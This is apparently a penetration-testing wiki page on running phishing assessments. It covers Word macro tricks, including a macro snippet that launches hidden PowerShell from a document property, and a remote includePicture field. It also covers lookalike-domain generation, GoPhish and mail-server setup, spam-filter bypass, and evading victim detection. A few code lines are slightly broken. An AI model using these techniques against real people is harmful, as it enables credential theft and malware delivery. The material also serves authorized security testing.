# Phising Documents Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. Usually Word files containing macros uses the `.docm` extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities. For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution. The same internals and mechanisms apply to all software of the Microsoft Office Suite \(Excel, PowerPoint etc.\). You can use the following command to check with extensions are going to be executed by some Office programs: ```bash assoc | findstr /i "word excel powerp" ``` DOCX files referencing a remote template \(File –Options –Add-ins –Manage: Templates –Go\) that includes macros can “execute” macros as well. ### Word with external image Go to: _Insert --> Quick Parts --> Field_ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**: http://<ip>/whatever_ ![](../.gitbook/assets/image%20%28347%29.png) ### Macros Code ```bash Dim author As String author = oWB.BuiltinDocumentProperties("Author") With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") .StdIn.WriteLine author .StdIn.WriteBlackLines 1 ``` ## Autoload functions The more common they are, the more probable the AV will detect it. * AutoOpen\(\) * Document\_Open\(\) ## Methodology 1. Recon the victim 1. Select the victim domain. 2. Preform some basic web enumeration searching for login portals used by the victim and decide which one you will impersonate. 3. Use some OSINT to find emails. 2. Prepare the environment 1. Buy the domain you are going to use for the phishing assessment 2. Configure the email service related records \(SPF, DMARC, DKIM, rDNS\) 3. Configure the VPS with gophish 3. Prepare the templates 1. Prepare the email template to redirect to the malicious web page 2. Prepare the web page to steal the credentials 4. Launch the attack! ## Generate similar domain names ### Domain Name Variation Techniques * **Keyword**: The domain name **contains** an important **keyword** of the original domain \(e.g., zelster.com-management.com\). * **hypened subdomain**: Change the **dot for a hyphen** of a subdomain \(e.g., www-zelster.com\). * **New TLD**: Same domain using a **new TLD** \(e.g., zelster.org\) * **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** \(e.g., zelfser.com\). * **Transposition:** It **swaps two letters** within the domain name \(e.g., zelster.com\). * **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name \(e.g., zeltsers.com\). * **Omission**: It **removes one** of the letters from the domain name \(e.g., zelser.com\). * **Repetition:** It **repeats one** of the letters in the domain name \(e.g., zeltsser.com\). * **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard \(e.g, zektser.com\). * **Subdomained**: Introduce a **dot** inside the domain name \(e.g., ze.lster.com\). * **Insertion**: It **inserts a letter** into the domain name \(e.g., zerltser.com\). * **Bitsquatting:** It anticipates a small portion of systems encountering hardware errors, resulting in the mutation of the resolved domain name by 1 bit. \(e.g., xeltser.com\). * **Missing dot**: Append the TLD to the domain name. \(e.g., zelstercom.com\) ### Automatic Tools * \*\*\*\*[**dnstwist**](https://github.com/elceef/dnstwist)\*\*\*\* * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)\*\*\*\* ### **Websites** * [https://dnstwist.it/](https://dnstwist.it/) * [https://dnstwister.report/](https://dnstwister.report/) * [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/) ## GoPhish ### Installation You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish` You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local: ```bash ssh -L 333:127.0.0.1:3333 @ ``` ### Configuration #### TLS certificate configuration Before this step you should have **already bought the domain** you are going to use and it must be **pointing** to the **IP of the VPS** where you are configuring **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto chmod +x certbot-auto sudo apt install snapd sudo snap install core sudo snap refresh core sudo apt-get remove certbot sudo snap install --classic certbot sudo ln -s /snap/bin/certbot /usr/bin/certbot certbot certonly --standalone -d "$DOMAIN" mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` #### Mail configuration Start installing: `apt-get install postfix` Then add the domain to the following files: * **/etc/postfix/virtual\_domains** * **/etc/postfix/transport** * **/etc/postfix/virtual\_regexp** **Change also the values of the following variables inside /etc/postfix/main.cf** `myhostname = mydestination = $myhostname, , localhost.com, localhost` Finally modify the files **`/etc/hostname`** and **`/etc/mailname`** to your domain name and **restart your VPS.** Now, create a **DNS A record** of `mail.` pointing to the **ip address** of the VPS and a **DNS MX** record pointing to `mail.` Now lets test to send an email: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com ``` #### Gophish configuration Stop the execution of gophish and lets configure it. Modify `/opt/gophish/config.json` to the following \(note the use of https\): ```bash { "admin_server": { "listen_url": "127.0.0.1:3333", "use_tls": true, "cert_path": "gophish_admin.crt", "key_path": "gophish_admin.key" }, "phish_server": { "listen_url": "0.0.0.0:443", "use_tls": true, "cert_path": "/opt/gophish/ssl_keys/key.crt", "key_path": "/opt/gophish/ssl_keys/key.pem" }, "db_name": "sqlite3", "db_path": "gophish.db", "migrations_prefix": "db/db_", "contact_address": "", "logging": { "filename": "", "level": "" } } ``` #### Configure gophish service In order to create the gophish service so it can be started automatically and managed a service you can create the file `/etc/init.d/gophish` with the following content: ```bash #!/bin/bash # /etc/init.d/gophish # initialization file for stop/start of gophish application server # # chkconfig: - 64 36 # description: stops/starts gophish application server # processname:gophish # config:/opt/gophish/config.json # From https://github.com/gophish/gophish/issues/586 # define script variables processName=Gophish process=gophish appDirectory=/opt/gophish logfile=/var/log/gophish/gophish.log errfile=/var/log/gophish/gophish.error start() { echo 'Starting '${processName}'...' cd ${appDirectory} nohup ./$process >>$logfile 2>>$errfile & sleep 1 } stop() { echo 'Stopping '${processName}'...' pid=$(/bin/pidof ${process}) kill ${pid} sleep 1 } status() { pid=$(/bin/pidof ${process}) if [["$pid" != ""| "$pid" != "" ]]; then echo ${processName}' is running...' else echo ${processName}' is not running...' fi } case $1 in start|stop|status) "$1" ;; esac ``` Finish configuring the service and checking it doing: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish update-rc.d gophish defaults #Check the service service gophish start service gophish status ss -l | grep "3333\|443" service gophish stop ``` ## SPAM filters bypass ### Wait The older a domain is the less probable it's going to be caught as spam. Then you should wait as much time as possible \(at least 1week\) before the phishing assessment. Note that even if you have to wait a week you can finish configuring everything now. ### Configure Reverse DNS \(rDNS\) record Set a rDNS \(PTR\) record that resolves the IP address of the VPS to the domain name. ### Sender Policy Framework \(SPF\) Record You must **configure a SPF record for the new domain**. If you don't know what is a SPF record read the following page: {% page-ref page="../pentesting/pentesting-smtp/" %} You can use [https://www.spfwizard.net/](https://www.spfwizard.net/) to generate your SPF policy \(use the IP of the VPS machine\) ![](../.gitbook/assets/image%20%28398%29.png) This is the content that must be set inside a TXT record inside the domain: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` ### Domain-based Message Authentication, Reporting & Conformance \(DMARC\) Record You must **configure a DMARC record for the new domain**. If you don't know what is a DMARC record read the following page: {% page-ref page="../pentesting/pentesting-smtp/" %} You have to create a new DNS TXT record pointing the hostname `_dmarc.` with the following content: ```bash v=DMARC1; p=none ``` ### DomainKeys Identified Mail \(DKIM\) You must **configure a DKIM for the new domain**. If you don't know what is a DMARC record read the following page: {% page-ref page="../pentesting/pentesting-smtp/" %} This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) {% hint style="info" %} You need to concatenate both B64 values that the DKIM key generates: ```text v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB ``` {% endhint %} ### Test your email configuration score You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com/) Just access the page and send an email to the address they give you: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` You can also c**heck your email configuration** sending an email to `check-auth@verifier.port25.com` and **reading the response** \(for this you will need to **open** port **25** and see the response in the file _/var/mail/root_ if you send the email a as root\). Check that you pass all the tests: ```bash ========================================================== Summary of Results ========================================================== SPF check: pass DomainKeys check: neutral DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` Alternatively, you can send a **message to a Gmail address that you control**, **view** the received **email’s headers** in your Gmail inbox, `dkim=pass` should be present in the `Authentication-Results` header field. ```text Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` ### ​Removing from Spamhouse Blacklist The page www.mail-tester.com can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### Removing from Microsoft Blacklist ​​You can request your domain/IP to be removed at [https://sender.office.com/](https://sender.office.com/). ## Detecting the detection Obviously one of the best ways to know if you have been busted is to **search your domain inside blacklists**. If it appears listed, somehow your domain was detected as suspicions. One easy way to check if you domain appears in any blacklist is to use [https://malwareworld.com/](https://malwareworld.com/) However, there are other ways to know if the victim is **actively looking for suspicions phishing activity in the wild** as explained in: {% page-ref page="detecting-phising.md" %} You can **buy a domain with a very similar name** to the victims domain **and/or generate a certificate** for a **subdomain** of a domain controlled by you **containing** the **keyword** of the victim's domain. If the **victim** perform any kind of **DNS or HTTP interaction** with them, you will now that **he is actively looking** for suspicious domains and you will need to very very stealth. ## References * [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) * [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)